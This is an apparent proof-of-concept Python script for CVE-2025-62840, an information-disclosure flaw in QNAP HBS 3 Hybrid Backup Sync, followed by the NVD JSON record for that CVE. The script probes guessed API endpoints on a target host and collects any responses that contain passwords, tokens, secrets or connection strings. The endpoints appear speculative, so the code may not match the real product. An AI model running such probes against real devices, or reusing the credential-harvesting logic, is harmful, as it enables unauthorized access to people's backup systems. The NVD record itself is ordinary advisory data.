CVE-2025-62840

# CVE-2025-62840 PoC - QNAP HBS 3 Hybrid Backup Sync Information Disclosure # This PoC demonstrates how to trigger error conditions that may leak sensitive information import requests import json TARGET_HOST = "http://192.168.1.100" HBS_PORT = 8080 BASE_URL = f"{TARGET_HOST}:{HBS_PORT}" def check_version(): """Check HBS 3 version""" try: response = requests.get(f"{BASE_URL}/api/v1/system/info", timeout=10) return response.json() except: return None def trigger_error_leak(): """Attempt to trigger error conditions to leak sensitive information""" # Try various endpoints that might expose error messages endpoints = [ "/api/v1/backup/jobs/invalid_id_12345", "/api/v1/config/db_connection", "/api/v1/logs/recent", "/api/v1/sync/status" ] leaked_data = [] for endpoint in endpoints: try: response = requests.get(f"{BASE_URL}{endpoint}", timeout=10) # Check if response contains sensitive patterns if any(pattern in response.text.lower() for pattern in ['password', 'secret', 'key', 'token', 'credential', 'connection_string']): leaked_data.append({ 'endpoint': endpoint, 'status_code': response.status_code, 'response_preview': response.text[:500] }) except Exception as e: print(f"Error accessing {endpoint}: {e}") return leaked_data def main(): print("CVE-2025-62840 PoC - QNAP HBS 3 Information Disclosure") print("=" * 60) # Check version version_info = check_version() if version_info: print(f"HBS Version: {version_info}") # Trigger error leak print("\nAttempting to trigger information disclosure...") results = trigger_error_leak() if results: print(f"\n[+] Found {len(results)} potential information leaks:") for result in results: print(json.dumps(result, indent=2)) else: print("\n[-] No obvious information leaks detected") print("Note: This vulnerability requires local network access") print("Recommendation: Upgrade to HBS 3 Hybrid Backup Sync 26.2.0.938 or later") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-62840", "sourceIdentifier": "[email protected]", "published": "2026-01-02T16:17:00.573", "lastModified": "2026-02-05T19:04:20.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A generation of error message containing sensitive information vulnerability has been reported to affect HBS 3 Hybrid Backup Sync. If an attacker gains local network access, they can then exploit the vulnerability to read application data.\n\nWe have already fixed the vulnerability in the following version:\nHBS 3 Hybrid Backup Sync 26.2.0.938 and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-209"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:hybrid_backup_sync:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2.0.938", "matchCriteriaId": "EBAF4E08-08BE-4F0C-ABA3-B0F73AB66E76"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-46", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}